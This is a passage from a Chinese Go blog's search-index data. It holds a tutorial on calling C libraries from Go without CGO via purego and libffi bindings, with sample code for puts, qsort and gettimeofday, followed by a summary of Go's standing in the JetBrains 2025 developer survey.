nil。\n1024，程序员节快乐！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/24/honoring-1024-programmers-day/","summary":"\u003ch1 id=\"致敬-1024-程序员节写给奔跑在二进制世界里的你-文末赠书---tony-bai\"\u003e致敬 1024 程序员节：写给奔跑在二进制世界里的你 (文末赠书) - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"致敬 1024 程序员节：写给奔跑在二进制世界里的你 (文末赠书)"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/23/go-ffi-new-paradigm\n大家好，我是Tony Bai。\nimport “C”，这行代码对于许多 Gopher 来说，既是通往强大 C 生态的桥梁，也是通往“地狱”的入口。CGO 作为 Go 语言内建的 FFI 机制，其为人诟病的远不止是编译期的种种不便，更包含了昂贵的运行时开销和复杂的心智负担。\n正是这些“枷锁”，催生了 Go 社区一个心照不宣的共识：能不用 CGO，就尽量不用。\n但如果我们的确需要调用 C 库呢？长期以来，我们似乎只能在“忍受 CGO”和“用 Go 重写一切”之间做出痛苦抉择。\n现在，一场关于 Go FFI (Foreign Function Interface) 的变革正在悄然发生。以 ebitengine/purego 和 JupiterR-ider/ffi 为代表的一系列社区项目，正为我们开辟出一条全新的道路——一条旨在卸下这些枷锁、纯 Go 的 FFI 之路。这标志着 Go FFI 新范式的到来。\n本文将系统性地梳理 Go FFI 的几种范式，并深入剖析 purego 与 ffi 协同工作的艺术，为你揭示 一条实现 Go FFI 的新路径。\nGo FFI 的三大范式之争 要理解 purego 带来的变革，我们必须首先系统性地审视 Go 社区在与 C 生态交互时，所探索出的三种主要路径或“范式”。它们在不同的维度（如编译期 vs. 运行时、性能 vs. 安全、耦合度 vs. 便利性）上，做出了截然不同的权衡。\n范式一：原生 CGO —— 官方的“编译期绑定”范式 这是 Go 语言与生俱来的、深度集成在工具链中的官方解决方案。\n核心思想：在编译期间，通过一个外部的 C 编译器（如 GCC 或 Clang），将 Go 代码与 C 代码紧密地静态链接在一起。\n实现机制：使用 import “C” 伪包，并在 Go 文件顶部的注释块中编写 C 代码或包含 C 头文件。Go 工具链会解析这些注释，调用 C 编译器，并生成大量的“胶水代码”，以处理 Go 与 C 之间在调用约定、内存模型和调度器上的差异。\n代表项目：Go 语言标准库自身，以及所有需要深度集成 C 库的项目。\n优点：\n功能最强大：支持处理复杂 C 宏、内联函数、位域，并能完美链接静态 C 库 (.a 文件) 的官方方案。 深度集成：可以直接在 Go 代码中访问 C 的 struct, union, enum 等类型，体验相对无缝。 缺点：\n构建复杂性：引入了对 C 编译器的依赖，使得 Go 引以为傲的一键交叉编译能力几乎失效。 拖慢构建速度：无法利用 Go 的构建缓存，每次构建都可能需要重新编译 C 代码。 性能开销：Go 与 C 之间的函数调用，需要经过一个复杂的上下文切换，其开销远高于原生 Go 函数调用。 运行时复杂性：Go 的垃圾回收器无法跟踪 C 代码分配的内存，需要手动管理。 适用场景：当你必须链接一个只有静态库的 C 项目，或者需要处理大量复杂的 C 宏和头文件时，CGO 几乎是唯一的选择。\n范式二：LLGO / TinyGo —— “替代编译器融合”范式 这种范式代表了一种更底层的思路：与其在两个世界之间架设“桥梁”(CGO)，不如尝试将两个世界“融合”。\n核心思想：使用一个基于 LLVM 的 Go 编译器，而不是官方的 gc 编译器。\n实现机制：由于 C/C++ (通过 Clang) 和 Go 都可以被编译到 LLVM 的中间表示 (IR)，理论上，在这个共享的中间层面上，可以实现比 CGO 更高效、更深度的互操作。\n代表项目：goplus/llgo, tinygo。\n优点：\n潜在的更高性能：在 LLVM 层面进行的函数调用优化，有可能省去 CGO 的部分运行时开销。 更好的 C++ 集成：LLVM 生态使其在与 C++ 交互时可能更具优势。 tinygo 在嵌入式领域表现卓越，能生成极小的二进制文件。 缺点：\n非官方工具链：这是一个巨大的权衡。你将无法使用 Go 官方的编译器，可能无法及时跟上 Go 官方版本的最新特性和安全修复。 生态与成熟度：作为一个相对小众的社区项目，其生态系统和在生产环境中的检验程度，与官方 gc 编译器不可同日而语。 适用场景：性能极其敏感的特定领域、嵌入式系统 (tinygo)、或者整个技术栈都深度绑定在 LLVM 生态中的环境。\n范式三：PureGo / JupiterRider/FFI —— “纯 Go 运行时动态加载”范式 这是一种新兴的、旨在绕开 CGO 编译期痛苦的社区驱动方案，也是本文将重点剖析的新范式。\n核心思想：完全放弃编译期的 C 依赖，将与 C 的交互推迟到运行时解决。\n实现机制：\nGo 程序在运行时，通过 purego.Dlopen 等函数，像插件一样动态加载一个 C 的共享库 (.so, .dylib, .dll)。 通过 purego.Dlsym 找到目标 C 函数在内存中的地址。 通过平台特定的汇编代码 (SyscallN)，直接按照 C 的调用约定 (ABI) 来调用这个函数地址，将 Go 的参数“翻译”成 C 的格式。 代表项目：ebitengine/purego, jupiterrider/ffi。\n优点：\n保留 Go 的核心优势：完美的交叉编译、极快的构建速度、纯 Go 的开发体验。 轻量与灵活：以普通 Go 库的形式存在，按需引入，无侵入性。 缺点：\n只支持共享库：无法链接静态的 C 库。 功能受限：对 C 类型的支持不如 CGO 完备。 适用场景：为你的 Go 应用编写跨平台的 GUI（调用系统的 GTK, Cocoa 等动态库）、构建插件系统、或者任何你需要调用一个以共享库形式发布的 C API 的场景。\n这三种范式各有利弊。而 purego 的出现，恰好填补了一个巨大的空白：它为那些只需要调用动态库中、函数签名相对简单的 C 函数的广大 Gopher，提供了一个摆脱 CGO 痛苦的、最具 Go 哲学的解决方案。接下来的章节，我们将深入探讨这个新范式的具体实现与应用。\npurego —— 奠定“纯 Go” FFI 的基石 purego 项目诞生于著名游戏引擎 Ebitengine 的一个宏大愿景：实现真正的“纯 Go”跨平台编译。它的核心价值主张简单而强大：提供一个无需 CGO 即可从 Go 调用 C 函数的库。\n其核心优势包括：\n真正的跨平台编译：无需在构建环境中安装目标平台的 C 编译器。只需设置 GOOS 和 GOARCH，即可轻松构建。 更快的编译速度：纯 Go 的构建可以被 Go 工具链高效缓存。 更小的二进制文件：purego 直接在运行时调用 C 函数，避免了 CGO 为每个函数生成包装层所带来的体积膨胀。 动态链接：在运行时加载 C 动态库 (.so, .dylib, .dll) 并查找符号，甚至可以此为基础构建 Go 的插件系统。 purego 的“魔法”主要源于几个巧妙的设计：\n动态库加载系统：通过 purego.Dlopen, purego.Dlsym, purego.Dlclose 这一套与 POSIX dlfcn.h 高度相似的 API，实现了对动态库的运行时操作。 底层系统调用：purego.SyscallN 是这一切的基石。它通过平台特定的汇编桩 (assembly stubs)，将 Go 函数的调用参数，按照目标平台的 C 调用约定 (ABI)，精确地放置到正确的 CPU 寄存器和栈上。 函数注册系统：purego.RegisterLibFunc 将一个 Go 函数变量（如 var puts func(string)）的指针，与一个从动态库中找到的 C 函数地址绑定起来。 简单示例：调用 C 标准库的 puts 下面这个简单示例演示了如何通过purego在Go中调用 C 标准库的 puts：\n// purego/demo1/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;github.com/ebitengine/purego\u0026#34; ) func getSystemLibrary() string { switch runtime.GOOS { case \u0026#34;darwin\u0026#34;: return \u0026#34;/usr/lib/libSystem.B.dylib\u0026#34; case \u0026#34;linux\u0026#34;: return \u0026#34;libc.so.6\u0026#34; // Windows 等其他平台... default: panic(fmt.Errorf(\u0026#34;unsupported platform: %s\u0026#34;, runtime.GOOS)) } } func main() { // 1. 加载 C 库 libc, err := purego.Dlopen(getSystemLibrary(), purego.RTLD_NOW|purego.RTLD_GLOBAL) if err != nil { panic(err) } defer purego.Dlclose(libc) // 确保库被卸载 // 2. 声明一个 Go 函数变量，其签名与 C 函数匹配 var puts func(string) // 3. 注册！将 Go 变量与 C 函数 \u0026#34;puts\u0026#34; 绑定 purego.RegisterLibFunc(\u0026amp;puts, libc, \u0026#34;puts\u0026#34;) // 4. 直接像调用普通 Go 函数一样调用它！ puts(\u0026#34;Calling C from Go without CGO!\u0026#34;) } 我们可以通过CGO_ENABLED=0 go run main.go运行这个示例：\n// purego/demo1下 $CGO_ENABLED=0 go run main.go Calling C from Go without CGO! 此外，在调用任何 C 函数之前，我们首先需要加载包含它的动态库。对于 puts 这样的标准库函数，它位于系统的核心 C 库中。然而，这个核心库在不同操作系统上的文件名是不同的（例如，Linux 上是 libc.so.6，macOS 上是 libSystem.B.dylib）。示例中getSystemLibrary 这个辅助函数的作用，就是抹平这种平台差异，为我们的程序在不同系统上找到正确的库路径。\n这个例子完美地展示了 purego 的优雅之处：一旦注册完成，C 函数的调用体验与原生 Go 函数几乎无异。\n更复杂的示例：使用回调函数与 qsort purego 的能力远不止于此。一个更复杂的、更能体现其价值的场景是将 Go 函数作为回调 (Callback) 传递给 C 函数。C 标准库中的 qsort 函数就是绝佳的例子，它需要一个函数指针作为比较器。\n// purego/demo2/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;reflect\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;unsafe\u0026#34; \u0026#34;github.com/ebitengine/purego\u0026#34; ) func getSystemLibrary() string { switch runtime.GOOS { case \u0026#34;darwin\u0026#34;: return \u0026#34;/usr/lib/libSystem.B.dylib\u0026#34; case \u0026#34;linux\u0026#34;: return \u0026#34;libc.so.6\u0026#34; // Windows 等其他平台... default: panic(fmt.Errorf(\u0026#34;unsupported platform: %s\u0026#34;, runtime.GOOS)) } } func main() { libc, err := purego.Dlopen(getSystemLibrary(), purego.RTLD_NOW|purego.RTLD_GLOBAL) if err != nil { panic(err) } defer purego.Dlclose(libc) // 1. 定义与 C 函数 qsort 签名匹配的 Go 函数变量 // void qsort(void *base, size_t nel, size_t width, int (*compar)(const void *, const void *)); // 注意：最后一个参数应该是 uintptr，表示 C 函数指针 var qsort func(data unsafe.Pointer, nitems uintptr, size uintptr, compar uintptr) purego.RegisterLibFunc(\u0026amp;qsort, libc, \u0026#34;qsort\u0026#34;) // 2. 编写 Go 回调函数，签名必须与 qsort 的比较器兼容 compareInts := func(a, b unsafe.Pointer) int { valA := *(*int)(a) valB := *(*int)(b) if valA \u0026lt; valB { return -1 } if valA \u0026gt; valB { return 1 } return 0 } data := []int{88, 56, 100, 2, 25} fmt.Println(\u0026#34;Original data:\u0026#34;, data) // 3. 调用 qsort // 使用 NewCallback 将 Go 函数转换为 C 可调用的函数指针 qsort( unsafe.Pointer(\u0026amp;data[0]), uintptr(len(data)), unsafe.Sizeof(int(0)), purego.NewCallback(compareInts), ) fmt.Println(\u0026#34;Sorted data: \u0026#34;, data) // 验证结果 if !reflect.DeepEqual(data, []int{2, 25, 56, 88, 100}) { panic(\u0026#34;sort failed!\u0026#34;) } } 运行这个示例输出如下结果：\n// purego/demo2下 $CGO_ENABLED=0 go run main.go Original data: [88 56 100 2 25] Sorted data: [2 25 56 88 100] 这个 qsort 示例充分展示了 purego 的强大能力：它不仅能调用 C 函数，还能通过 NewCallback 实现 Go 与 C 之间的双向通信。\n局限性与权衡 不过，天下没有免费的午餐。purego 为了实现“纯 Go”的 FFI 体验，也付出了代价，并存在一些重要的局限性，我们必须清醒地认识到：\n类型系统限制：这可以说是 purego 最大的局限。它原生不支持按值传递或返回 C 结构体（在 Darwin/macOS 之外的平台）。对于只涉及整数、浮点数和指针的简单函数，purego 游刃有余；但一旦遇到需要传递复杂结构体的 C API，purego 就显得力不从心了。\n平台与架构限制：purego 的支持并非无处不在。例如，浮点数返回值仅在 amd64 和 arm64 上受支持。在 Windows 的 32 位 ARM 等非主流架构上，功能也受到限制。\n函数签名限制：SyscallN 有最多 15 个参数的限制，并且在处理混合了浮点数和整数的复杂函数签名时，可能会出现参数传递错误。\n回调系统限制：NewCallback 创建的回调函数，其底层资源是永远不会被垃圾回收的，并且存在一个硬性的最大数量限制（约 2000 个）。这意味着在高频创建回调的场景下，可能会导致内存泄漏。\n内存安全责任：purego 并没有消除 CGO 的内存安全规则。你依然需要遵循“Go 内存不能被 C 持有”的黄金法则，并自行管理 C 代码分配的内存，以避免悬空指针和内存泄漏。\n正是 purego 在类型系统上的核心局限（特别是结构体处理），催生了下一个将要登场的主角——JupiterRider/ffi。\nJupiterRider/ffi —— 补全 purego 的最后一块拼图 purego 虽然强大，但其 SyscallN 的设计主要针对的是整数和指针等基本类型。它有一个显著的局限：原生不支持按值传递或返回 C 结构体（在 Darwin/macOS 之外的平台），并且处理 C 结构体指针也需要大量 unsafe 操作。\n这正是 JupiterRider/ffi 项目的用武之地。ffi 并非 purego 的竞争者，而是其强大的补充。它是一个基于 purego 构建的、对 libffi 的纯 Go 绑定。\nlibffi 是什么？\nlibffi 是一个久负盛名的 C 库，它的唯一目的就是在运行时，根据任意给定的函数签名，动态地构建函数调用。Python 的 ctypes 和许多其他语言的 FFI 功能，其底层都依赖于 libffi。\nffi 的核心架构 ffi 巧妙地利用 purego 来调用 libffi 提供的 C 函数，然后让 libffi 去处理最棘手的、平台相关的 ABI 细节，特别是结构体的内存布局和按值传递。\n调用流程：\nGo Code -\u0026gt; ffi.Call() -\u0026gt; purego.SyscallN() -\u0026gt; libffi: ffi_call() -\u0026gt; Target C Function ffi 使用示例：优雅地处理 C 结构体指针 为了展示 ffi 如何弥补 purego 的不足，让我们来调用 C 标准库中的 gettimeofday 函数。其 C 语言签名如下：\nint gettimeofday(struct timeval *tv, struct timezone *tz); 这个函数接受两个结构体指针作为参数。使用纯 purego 调用它会非常繁琐，需要手动进行内存布局和 unsafe.Pointer 转换。而 ffi 则让这个过程变得极其清晰和安全。\n// ffi/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;time\u0026#34; \u0026#34;unsafe\u0026#34; \u0026#34;github.com/ebitengine/purego\u0026#34; \u0026#34;github.com/jupiterrider/ffi\u0026#34; ) // getSystemLibrary 函数与前一个示例相同 func getSystemLibrary() string { switch runtime.GOOS { case \u0026#34;darwin\u0026#34;: return \u0026#34;/usr/lib/libSystem.B.dylib\u0026#34; case \u0026#34;linux\u0026#34;: return \u0026#34;libc.so.6\u0026#34; default: panic(fmt.Errorf(\u0026#34;unsupported platform: %s\u0026#34;, runtime.GOOS)) } } // C 语言中的 struct timeval // struct timeval { // time_t tv_sec; /* seconds */ // suseconds_t tv_usec; /* microseconds */ // }; // Go 版本的结构体，注意字段类型和大小必须与 C 版本兼容 // 在 64 位系统上，time_t 和 suseconds_t 通常都是 int64 type Timeval struct { TvSec int64 // 秒 TvUsec int64 // 微秒 } func main() { libc, err := purego.Dlopen(getSystemLibrary(), purego.RTLD_NOW|purego.RTLD_GLOBAL) if err != nil { panic(err) } defer purego.Dlclose(libc) // 1. 获取 C 函数地址 gettimeofday_addr, err := purego.Dlsym(libc, \u0026#34;gettimeofday\u0026#34;) if err != nil { panic(err) } // 2. 使用 ffi.PrepCif 准备函数签名 // int gettimeofday(struct timeval *tv, struct timezone *tz); // 返回值: int (ffi.TypeSint32) // 参数1: struct timeval* (ffi.TypePointer) // 参数2: struct timezone* (ffi.TypePointer)，我们传入 nil var cif ffi.Cif if status := ffi.PrepCif(\u0026amp;cif, ffi.DefaultAbi, 2, \u0026amp;ffi.TypeSint32, \u0026amp;ffi.TypePointer, \u0026amp;ffi.TypePointer); status != ffi.OK { panic(fmt.Sprintf(\u0026#34;PrepCif failed with status: %v\u0026#34;, status)) } // 3. 准备 Go 结构体实例，用于接收 C 函数的输出 var tv Timeval // 4. 准备参数 // ffi.Call 需要一个指向参数的指针数组 // 第一个参数：指向 Timeval 结构体的指针 // 第二个参数：nil（表示 timezone 参数为 NULL） arg1 := unsafe.Pointer(\u0026amp;tv) var arg2 unsafe.Pointer = nil // 创建参数指针数组 args := []unsafe.Pointer{ unsafe.Pointer(\u0026amp;arg1), unsafe.Pointer(\u0026amp;arg2), } // 5. 调用 C 函数 var ret int32 ffi.Call(\u0026amp;cif, gettimeofday_addr, unsafe.Pointer(\u0026amp;ret), args...) if ret != 0 { panic(fmt.Sprintf(\u0026#34;gettimeofday failed with return code: %d\u0026#34;, ret)) } // 6. 解释结果 fmt.Printf(\u0026#34;C gettimeofday result:\\n\u0026#34;) fmt.Printf(\u0026#34; - Seconds: %d\\n\u0026#34;, tv.TvSec) fmt.Printf(\u0026#34; - Microseconds: %d\\n\u0026#34;, tv.TvUsec) // 与 Go 标准库的结果进行对比 goTime := time.Now() fmt.Printf(\u0026#34;\\nGo time.Now() result:\\n\u0026#34;) fmt.Printf(\u0026#34; - Seconds: %d\\n\u0026#34;, goTime.Unix()) fmt.Printf(\u0026#34; - Microseconds component: %d\\n\u0026#34;, goTime.Nanosecond()/1000) // 验证秒数是否大致相等 timeDiff := goTime.Unix() - tv.TvSec if timeDiff \u0026lt; 0 { timeDiff = -timeDiff } if timeDiff \u0026gt; 1 { panic(fmt.Sprintf(\u0026#34;seconds mismatch! Diff: %d\u0026#34;, timeDiff)) } fmt.Println(\u0026#34;\\nSuccess! The results are consistent.\u0026#34;) } 这个例子完美地展示了 ffi 库在处理复杂 C 函数调用时的核心价值：\n类型安全的函数签名定义 通过 ffi.PrepCif，我们以类型安全的方式精确描述了 C 函数 gettimeofday 的签名：\nvar cif ffi.Cif ffi.PrepCif(\u0026amp;cif, ffi.DefaultAbi, 2, \u0026amp;ffi.TypeSint32, \u0026amp;ffi.TypePointer, \u0026amp;ffi.TypePointer) 这行代码清晰地表达了：\n函数返回值类型：int (ffi.TypeSint32) 参数个数：2 个 参数类型：两个指针 (ffi.TypePointer) 无需手动计算结构体的内存布局或字段偏移量，ffi 通过底层的 libffi 自动处理所有平台相关的 ABI 细节。\nGo-idiomatic 的结构体传递 我们可以直接使用 Go 原生结构体：\ntype Timeval struct { TvSec int64 // 秒 TvUsec int64 // 微秒 } var tv Timeval 然后通过标准的指针传递方式与 C 函数交互：\narg1 := unsafe.Pointer(\u0026amp;tv) var arg2 unsafe.Pointer = nil args := []unsafe.Pointer{ unsafe.Pointer(\u0026amp;arg1), unsafe.Pointer(\u0026amp;arg2), } ffi.Call(\u0026amp;cif, gettimeofday_addr, unsafe.Pointer(\u0026amp;ret), args...) 关键优势 跨平台兼容性：libffi 在底层处理了不同操作系统和 CPU 架构的调用约定差异（如寄存器使用、栈对齐等）\n内存安全：虽然使用了 unsafe.Pointer，但整个流程是受控的。ffi 确保了：\n* Go 结构体的内存布局与 C 结构体兼容 * 指针正确传递到 C 函数 * 返回值正确写回到 Go 变量 无需 CGO：整个过程通过 purego 和 ffi 实现，完全不依赖 CGO，可以在 CGO_ENABLED=0 环境下编译运行\n双层指针机制：ffi.Call 使用指向参数指针的数组 ([]unsafe.Pointer)，这是 libffi 的标准设计，允许它处理任意类型和大小的参数，包括结构体、数组等复杂类型\n示例运行结果 // ffi目录下 $CGO_ENABLED=0 go run main.go C gettimeofday result: - Seconds: 1760619822 - Microseconds: 971252 Go time.Now() result: - Seconds: 1760619822 - Microseconds component: 971309 Success! The results are consistent. 这个例子证明了我们成功地从 Go 代码调用了 C 标准库函数，并且结果与 Go 标准库的时间函数一致(seconds部分)，展示了 ffi 作为 CGO 替代方案的可行性和可靠性。这也正是 purego 自身难以优雅实现的，也是 ffi 为“纯 Go FFI”范式带来的最关键的补充。\n小结 在这篇文章中，我们从 Go 社区对 CGO 的普遍焦虑出发，最终完成了一次对 Go FFI 三大核心范式的系统性巡礼。这场探索之旅清晰地表明：Go 与 C 生态的交互，已不再是一条“非 CGO 即重写”的独木桥。\npurego 和 ffi 的出现，标志着**“纯 Go 运行时动态加载”**这一新范式的起步以及逐渐成熟。它并非意在完全取代 CGO——对于需要深度集成静态 C 库、或处理复杂 C 宏的场景，CGO 依然是官方的、最强大的解决方案。同样，它也无法替代 LLGO 体系在特定领域（如嵌入式）的独特优势。\n然而，对于绝大多数需要在 Go 的现代化开发体验与庞大的 C 库生态之间建立连接的场景，purego 与 ffi 的组合，为我们提供了一套更轻量、更快速、更符合 Go 哲学的 FFI 方案。它们将 Go 强大的跨平台编译能力，从纯 Go 世界，成功地延伸到了与 C 交互的边界。\n现在，当你的 Go 项目需要拥抱 C 生态时，你有了一份更清晰的决策地图：\n当你必须链接一个 C 静态库 (.a)，或处理大量复杂的 C 宏时： -\u0026gt; 坚守原生 CGO。这是它不可替代的核心优势区。\n当你的整个技术栈深度绑定 LLVM，或在嵌入式 (.wasm) 等资源受限环境中追求极致性能时： -\u0026gt; 关注并评估LLGO / TinyGo 这一“编译器融合”范式。\n当你需要调用一个以共享库 (.so, .dylib, .dll) 形式发布的 C API 时：\n如果函数签名只涉及基本类型（整数、浮点数、指针、字符串）： -\u0026gt; 首选purego。它最轻量，无外部依赖。 * 如果函数签名涉及按值传递/返回结构体，或需要处理复杂回调：\n-\u0026gt; 采用purego + ffi 的黄金组合。\n下一次，当你因为一个 C 库而对 CGO 望而却步时，请记住，你已经有了更好的选择。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/purego-and-ffi\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/23/go-ffi-new-paradigm/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-ffi-new-paradigm-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/23/go-ffi-new-paradigm\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/23/go-ffi-new-paradigm\"\u003ehttps://tonybai.com/2025/10/23/go-ffi-new-paradigm\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eimport “C”，这行代码对于许多 Gopher 来说，既是通往强大 C 生态的桥梁，也是通往“地狱”的入口。CGO 作为 Go 语言内建的 FFI 机制，其为人诟病的远不止是编译期的种种不便，更包含了昂贵的运行时开销和复杂的心智负担。\u003c/p\u003e","title":"Go FFI 的新范式：purego 与 libffi 如何让我们无痛拥抱 C 生态"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/23/go-language-leads-jetbrains-trends\n大家好，我是Tony Bai。\n近日，软件开发工具巨头 JetBrains 发布了其年2025度《开发者生态系统现状》报告，这份基于全球数万名开发者调研的数据报告，已成为洞察技术风向的关键参考之一。在今年的报告中，Go 语言的表现尤为亮眼，它不仅在“未来潜力”和“学习意愿”等前瞻性指标上独占鳌头，其在当前主流语言版图中的位置也愈发稳固。\n本文将为您全方位解读这份报告，从多个维度剖析 Go 语言的现状、潜力和生态位，洞察这些趋势对每一位 Gopher 的深远影响。\n核心洞察：Go 成为开发者“最想采用的下一门语言” 报告中最激动人心的发现，莫过于在“开发者最想采用的下一门语言”这项调查中，Go 语言以 11% 的得票率高居榜首。\n这一数据强烈预示着 Go 语言在未来的项目选型和团队扩张中将拥有巨大的潜力。它表明 Go 简洁、高效、高并发的理念已成功捕获了大量开发者的心智。对于企业而言，这意味着 Go 的人才储备池正在快速扩大；对于开发者个人而言，掌握 Go 语言无疑是抓住了未来技术栈演进的关键脉搏。\n当前使用现状：稳居主流，但非绝对主导 当然，我们也需客观看待 Go 的当前位置。在“主要编程语言”的长期使用趋势图表中，Go 的使用率稳定在 20%。\n这是一个非常健康且重要的数字，它意味着 Go 已经牢固地占据了主流编程语言的一席之地，与 C# (21%) 并驾齐驱，并且领先于 Kotlin (18%) 和 Rust (12%) 等现代语言。\n然而，与常年盘踞榜首的 JavaScript (61%)、Python (57%) 和 Java (49%) 相比，Go 还有相当的差距。这恰恰反映了 Go 的战略定位：它并非一门试图“通吃”所有领域的语言。Python 在数据科学和 Web 后端拥有深厚根基，Java 在庞大的企业级应用中难以撼动，而 Go 则精准地聚焦于其核心优势领域——云原生、分布式系统和高性能后端服务。这种聚焦，正是其强大生命力的来源。\n增长潜力：位列“承诺指数”第一梯队 JetBrains 创设的“语言承诺指数 (Language Promise Index)”综合评估了语言的增长稳定性、采用势头和用户忠诚度。在这个极具前瞻性的榜单上，Go 以 +115 的高分位列第四，与 TypeScript (+223)、Rust (+187) 和 Python (+131) 共同组成了未来增长潜力最强的“第一梯队”。\n这表明，尽管 Go 的当前总使用率不如 Python 或 Java，但其增长的质量和动能却处于顶尖水平。社区活跃、用户忠诚度高、应用场景不断拓宽，这些都是 Go 未来持续攀升的坚实基础。\n趋势解读：为何是 Go？技术范式演进的必然选择 报告中的另外几组数据，完美解释了 Go 语言为何能在当今的技术浪潮中乘风破浪。\n完美契合“连接型”开发范式 报告指出，现代开发者的核心工作正在从构建孤立的应用，转向构建系统间的“连接性组织 (connective tissue)”。\n52% 的开发者工作涉及与 API 和服务集成。 48% 的开发者工作涉及提供 API 和服务。 同时，在开发者构建的软件产品类型中，Web 服务 (29%)、Cloud 服务 (19%) 和 System software (17%) 占据了重要份额。\n这些领域恰恰是 Go 语言的核心优势区。其天生为并发而设计的 Goroutine 模型、简洁高效的 net/http 标准库以及强大的 gRPC 生态，使其成为构建高性能 API、微服务、中间件和基础设施软件的理想选择。\n云原生主战场的绝对优势 在应用部署平台方面，40% 的应用被部署在服务器/云端，这是仅次于浏览器的第二大平台。在云服务提供商方面，AWS (43%)、GCP (22%) 和 Azure (22%) 占据了市场主导地位。\nGo 语言自诞生之初就被誉为“云原生时代的 C 语言”，其编译后体积小、资源占用低、启动速度快的特性，使其在以 Docker 和 Kubernetes 为代表的容器化环境中，以及在 Serverless 架构下降本增效的潜力巨大。可以说，Go 是为在 AWS、GCP、Azure 等云平台上运行而生的语言。\n生态位观察：数据库新王登基，Gopher 需关注 报告还揭示了一个对所有后端开发者都至关重要的趋势：PostgreSQL 的使用率 (50%) 预计将历史性地超越 MySQL (49%)，成为最受欢迎的关系型数据库。\n这一变化对 Go 开发者同样具有指导意义。虽然 Go 的 database/sql 包提供了统一的数据库访问接口，但了解并熟练使用社群中性能最优、特性最丰富的 PostgreSQL 驱动（如 pgx）将变得愈发重要。关注主流数据库的演进，并及时更新自己的技术栈，是保持竞争力的关键。\n总结与展望 JetBrains 的这份报告以翔实的数据，为我们描绘了一幅立体而清晰的 Go 语言发展图景：\n人气高涨：它是开发者最渴望学习和使用的新语言，拥有最强的“拉新”能力。 地位稳固：已成为使用率达 20% 的主流语言，在特定领域拥有不可替代的优势。 潜力巨大：其高质量的增长动能使其稳居未来潜力榜的第一梯队。 定位精准：它完美契合了以 API 集成和云原生为核心的现代软件开发范式。 对于 Go 社区而言，这份报告既是肯定也是激励。它证明了 Go 的选择是正确的，其专注的领域正是软件行业发展的未来方向。对于每一位 Gopher 来说，深入理解 Go 的生态位，持续打磨在云原生和高性能后端领域的技能，无疑是投身这股浪潮、创造更大价值的最佳路径。\n资料链接：https://devecosystem-2025.jetbrains.com/tools-and-trends\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/23/go-language-leads-jetbrains-trends/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-language-leads-jetbrains-trends-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/23/go-language-leads-jetbrains-trends\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/23/go-language-leads-jetbrains-trends\"\u003ehttps://tonybai.com/2025/10/23/go-language-leads-jetbrains-trends\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，软件开发工具巨头 